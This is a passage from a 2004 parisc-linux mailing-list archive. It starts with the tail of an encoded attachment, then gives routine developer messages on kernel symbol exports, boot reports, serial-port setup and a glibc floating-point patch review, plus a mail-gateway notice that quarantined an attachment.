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


------=_NextPart_000_0007_00000864.00005371--




From - Thu Nov 08 21:31:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephan Trajkoff <stephan@itp.bg>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] my server died
Date: Thu, 04 Mar 2004 18:08:53 +0200
Lines: 7
Approved: news@gmane.org
Message-ID: <40475495.2090507@itp.bg>
Reply-To: stephan@itp.bg
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623239 6300 80.91.229.3 (22 Nov 2014 02:27:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:19 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: stephan@itp.bg  Thu Mar  4 09:10:08 2004
Return-Path: <stephan@itp.bg>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from ns.itp.bg (itp.solo.bg [212.72.196.10])
	by dsl2.external.hp.com (Postfix) with SMTP id 28B484854
	for <parisc-linux@parisc-linux.org>;
	Thu,  4 Mar 2004 09:10:07 -0700 (MST)
Original-Received: (qmail 12784 invoked from network); 4 Mar 2004 16:05:26 -0000
Original-Received: from marian.itp.bg (HELO itp.bg) (212.72.204.2)
	by ns.itp.bg with SMTP; 4 Mar 2004 16:05:26 -0000
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 04 Mar 2004 16:10:08 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20986

Hello all,
My 815 HP PARISC9000 today died:(((
I will try sparcstation 5 for server again with debian:)


Regards


From - Thu Nov 08 21:31:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 jejb
Date: Thu, 4 Mar 2004 17:39:50 +0100
Lines: 48
Approved: news@gmane.org
Message-ID: <4045FF3900000EF7@ocpmta2.freegates.net>
References: <4041B33A.2010802@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623239 6303 80.91.229.3 (22 Nov 2014 02:27:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:19 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: "James Bottomley" <James.Bottomley@steeleye.com>
Original-X-From: soete.joel@tiscali.be  Thu Mar  4 09:39:56 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1FC474854
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  4 Mar 2004 09:39:56 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1Ayvt2-0001Et-00; Thu, 04 Mar 2004 17:39:52 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Thu, 4 Mar 2004 17:39:50 +0100
In-Reply-To: <4041B33A.2010802@tiscali.be>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 04 Mar 2004 16:39:56 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20987

Hi all,

Sorry for delay but i fill a bit lazy this week (may be because a bit sick
:( ).

Anyway, I get cvs and last a500 config file (in which i just change tulip
builtin in place of module) and it boot fine :).

Thanks to all for great job,
    Joel

PS: Anticipating rc2-pa0, this merge is straighforward, and boot fine on
a b180 ;)

James Bottomley wrote:
> On Sat, 2004-02-28 at 16:21, Joel Soete wrote:
> 
>>Hey interesting, I mean 'torture test'. Where can I get more detail on
this stuff to test on the N4K also?
> 
> 
> It just means running bk doing a tree merge, check
> ng out the results
> and compiling the kernel.  It seems to sow up most types of problems ...
> 
> James
> 
> 
> 
Ah ok , it just sound like some gcc test :) , that is why I though there
was bourned a new test for our kernel.

Thanks for feedb
> ck,
	Joel

PS: I will so prepare such boot kernel for the N ;)



----------------------------------------------------------------------------------------
Tiscali ADSL: 19,50 /mois, pendant 3 mois! L'Internet rapide, c'est pour
tout le monde.
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: administrator@parkerdrilling.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Parker Drilling Email System has detected a
	potentially harmful file attachment - please read message below.
Date: Thu, 04 Mar 2004 11:20:20 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <D000000e30@mail.parkerdrilling.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="--=a4201d97-4fbe-4327-993c-587441f91169"
X-Trace: ger.gmane.org 1416623240 6306 80.91.229.3 (22 Nov 2014 02:27:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:20 +0000 (UTC)
Cc: indonesia@parkerdrilling.com
To: parisc-linux@lists.parisc-linux.org
Original-X-From: MAILER-DAEMON  Thu Mar  4 10:20:20 2004
Return-Path: <>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.parkerdrilling.com (mail.parkerdrilling.com
	[12.31.192.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 995284854
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  4 Mar 2004 10:20:19 -0700 (MST)
Original-Received: from MailMarshal.Engine ([127.0.0.1]) by mail.parkerdrilling.com
	with NetIQ MailMarshal (v5.5.5.9)
	id <D000000e30>; Thu, 04 Mar 2004 11:20:20 -0600
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 04 Mar 2004 17:20:20 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20988

----=a4201d97-4fbe-4327-993c-587441f91169
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

The Parker Drilling email system has quarantined your email message because it contained a potentially harmful file attachment type.

Due to recent widespread virus infections that have taken place on the Internet, the following file attachments are currently NOT
being allowed to pass through. This includes .ZIP files, .EXE files, .COM files, .SCR files, .BAT files and less known file types.

The latest round of recent virus attacks have exploited the use of .ZIP files - this is why they are currently being blocked.

As a temporarily work around, please do not use .ZIP when sending your file attachments - instead please send the file attachments
in their native, uncompressed format. i.e. .XLS, .DOC, .TXT, etc - these will be allowed to pass through the Parker Drilling Email
System.

If your require further instructions, please contact helpdesk@parkerdrilling.com for assistance.

Thank You

   Message: B000008ed5.00000001.mml
   From:    parisc-linux@lists.parisc-linux.org
   To:      indonesia@parkerdrilling.com
   Subject: report



----=a4201d97-4fbe-4327-993c-587441f91169--


From - Thu Nov 08 21:31:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: William Waites <parisc@lists.styx.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] lstrncpy_from_user symbol not exported
Date: Thu, 4 Mar 2004 14:06:43 -0500
Lines: 41
Approved: news@gmane.org
Message-ID: <20040304190643.GC19629@styx.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623240 6309 80.91.229.3 (22 Nov 2014 02:27:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: ww@STYX.ORG  Thu Mar  4 12:06:45 2004
Return-Path: <ww@STYX.ORG>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from STYX.ORG (styx.org [204.138.67.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id B20CA4854
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  4 Mar 2004 12:06:44 -0700 (MST)
Original-Received: by STYX.ORG (Postfix, from userid 1001)
	id C3AEB4FDF; Thu,  4 Mar 2004 14:06:43 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 04 Mar 2004 19:06:45 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20989

I tried sending this to submit@bugs.parisc-linux.org
but it bounced...

----- Forwarded message from William Waites <ww@styx.org> -----

Date: Thu, 4 Mar 2004 13:59:49 -0500
From: William Waites 
Subject: lstrncpy_from_user symbol not exported
To: submit@bugs.parisc-linux.org

Hello, 

I am running LiS on Linux/parsic. The streams kernel
module uses the strncpy_from_user function which on
parisc is macro that calls lstrncpy_from_user. This
function is not exported by the kernel, so the module
gets an unresolved symbol. The following patch fixes
this.

Index: arch/parisc/kernel/parisc_ksyms.c
===================================================================
RCS file: /var/cvs/linux-2.4/arch/parisc/kernel/parisc_ksyms.c,v
retrieving revision 1.49
diff -u -r1.49 parisc_ksyms.c
--- a/arch/parisc/kernel/parisc_ksyms.c 17 Jan 2004 06:40:11 -0000      1.49
+++ b/arch/parisc/kernel/parisc_ksyms.c 4 Mar 2004 18:53:07 -0000
@@ -110,6 +110,7 @@
 EXPORT_SYMBOL(lcopy_from_user);
 EXPORT_SYMBOL(lstrnlen_user);
 EXPORT_SYMBOL(lclear_user);
+EXPORT_SYMBOL(lstrncpy_from_user);

 #ifndef __LP64__
 /* Needed so insmod can set dp value */

-- 
/~\  The ASCII Ribbon Campaign
\ /    No HTML/RTF in email
 X     No Word docs in email
/ \  Respect for open standards


From - Thu Nov 08 21:31:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: broken keyboard driver on 2.6.3
Date: Sat, 6 Mar 2004 12:26:50 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <200403061226.50883.deller__32761.6208502606$1416623240$gmane$org@gmx.de>
References: <Pine.LNX.4.21.0403051153090.23074-100000@hal.pp.fishpool.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623240 6311 80.91.229.3 (22 Nov 2014 02:27:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:20 +0000 (UTC)
Cc: =?iso-8859-1?q?Martin-=C9ric_Racine?= <q-funk@pp.fishpool.fi>,
	debian-hppa@lists.debian.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: deller@gmx.de  Sat Mar  6 04:26:56 2004
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.de [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 0263448FF
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  6 Mar 2004 04:26:55 -0700 (MST)
Original-Received: (qmail 17287 invoked by uid 65534); 6 Mar 2004 11:26:53 -0000
Original-Received: from pD90403F9.dip.t-dialin.net (EHLO p100) (217.4.3.249)
	by mail.gmx.net (mp025) with SMTP; 06 Mar 2004 12:26:53 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.6.1
In-Reply-To: <Pine.LNX.4.21.0403051153090.23074-100000@hal.pp.fishpool.fi>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 06 Mar 2004 11:26:56 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20990

On Friday 05 March 2004 10:58, Martin-ric Racine wrote:
> One thing I noticed today, when using the 712 from the keyboard (which I almost
> never do), is that the cursor arrows near the keypad are broken:
> 
> In menuconfig, pressing any arrow kills the script with an abort message; in
> Nano, the keys are completely ignored.  However, 2.4.24-pa0 works as expected.

Hi Martin-ric,

What does "showkey -s" reports if you press those keys ?
Could you mail me privately your bootlog ?

Helge


From - Thu Nov 08 21:31:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] lstrncpy_from_user symbol not exported
Date: Sat, 6 Mar 2004 06:46:19 -0800
Lines: 12
Approved: news@gmane.org
Message-ID: <20040306144619.GG1113@tausq.org>
References: <20040304190643.GC19629@styx.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623241 6314 80.91.229.3 (22 Nov 2014 02:27:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: William Waites <parisc@lists.styx.org>
Original-X-From: randolph@tausq.org  Sat Mar  6 07:46:20 2004
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 690B94866
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  6 Mar 2004 07:46:20 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 09E31CD29F; Sat,  6 Mar 2004 06:46:20 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20040304190643.GC19629@styx.org>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 06 Mar 2004 14:46:20 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20991

In reference to a message from William Waites, dated Mar 04:
> I tried sending this to submit@bugs.parisc-linux.org
> but it bounced...

commited, thanks

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:31:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Marc Dilasser <marc.dilasser@free.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Configuring serial ports
Date: Sat, 6 Mar 2004 21:54:40 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <200403062154.40308.marc.dilasser@free.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623241 6316 80.91.229.3 (22 Nov 2014 02:27:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: marc.dilasser@free.fr  Sat Mar  6 13:58:30 2004
Return-Path: <marc.dilasser@free.fr>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from postfix3-2.free.fr (postfix3-2.free.fr [213.228.0.169])
	by dsl2.external.hp.com (Postfix) with ESMTP id 69C1648FF
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  6 Mar 2004 13:58:30 -0700 (MST)
Original-Received: from boris.16.168.192.in-addr.arpa (unknown [213.228.43.237])
	by postfix3-2.free.fr (Postfix) with ESMTP id 2EE34C171
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  6 Mar 2004 21:58:28 +0100 (CET)
User-Agent: KMail/1.5
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 06 Mar 2004 20:58:30 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20992

Hello,

I have a B180L with Debian Woody and i'm trying to connect to my ISP through a 
56k modem.

I don't find in the dmesg the ports address of the serial ports.
And how to setup with setserial, baud_base seems to be 454545.

Regards
Marc Dilasser


From - Thu Nov 08 21:31:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc-2.3.3: a warning with gcc-3.3 become an
	error with gcc-3.5
Date: Sat, 06 Mar 2004 22:14:12 +0000
Lines: 73
Approved: news@gmane.org
Message-ID: <404A4D34.1000106@tiscali.be>
References: <20040301193815.GG21769@baldric.uwo.ca>
	<402A4CA50000D57D@ocpmta2.freegates.net>
	<20040302195050.GE19402@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623241 6320 80.91.229.3 (22 Nov 2014 02:27:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: soete.joel@tiscali.be  Sat Mar  6 15:13:06 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 683CB4852
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  6 Mar 2004 15:13:06 -0700 (MST)
Original-Received: from [62.235.123.55] (port=33142 helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1Azk2b-0007oh-2T; Sat, 06 Mar 2004 23:13:05 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040122 Debian/1.6-1
X-Accept-Language: en
In-Reply-To: <20040302195050.GE19402@baldric.uwo.ca>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 06 Mar 2004 22:13:06 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20993



Carlos O'Donell wrote:
> Joel,
> 
> Could you lookup the C99 specification please?
> 
> 
>>--- ./feupdateenv.c.orig	2004-03-02 15:21:25.959085856 +0100
>>+++ ./feupdateenv.c	2004-03-02 07:53:27.938166120 +0100
>>@@ -28,11 +28,16 @@
>>   /* Get the current exception status. */
>>   __asm__ ("fstd %%fr0,0(%1)" : "=m" (*sw) : "r" (sw));
>>   sw[0] &= FE_ALL_EXCEPT;
>>-  envp->__status_word = envp->__status_word | sw[0];
>>+/*  envp->__status_word = envp->__status_word | sw[0]; */
> 
> 
> This is required to set the flags. Please review the specfications.
> 
> 
>>   /* Install new environment.  */
>>   fesetenv (envp);
>> 
>>+  /* Raise the safed exception.  Incidently for us the implementation
>>+     defined format of the values in objects of type fexcept_t is the
>>+     same as the ones specified using the FE_* constants.  */
>>+  feraiseexcept (sw[0]);
>>+
> 
> 
> AFAIK, this is not correct, the spec says that it will be an OR of the
> raised exceptions, e.g. an OR of the raised flags. 
> 
> Calling feraiseexcept could fault the program.
> 
> 
>>   /* Success.  */
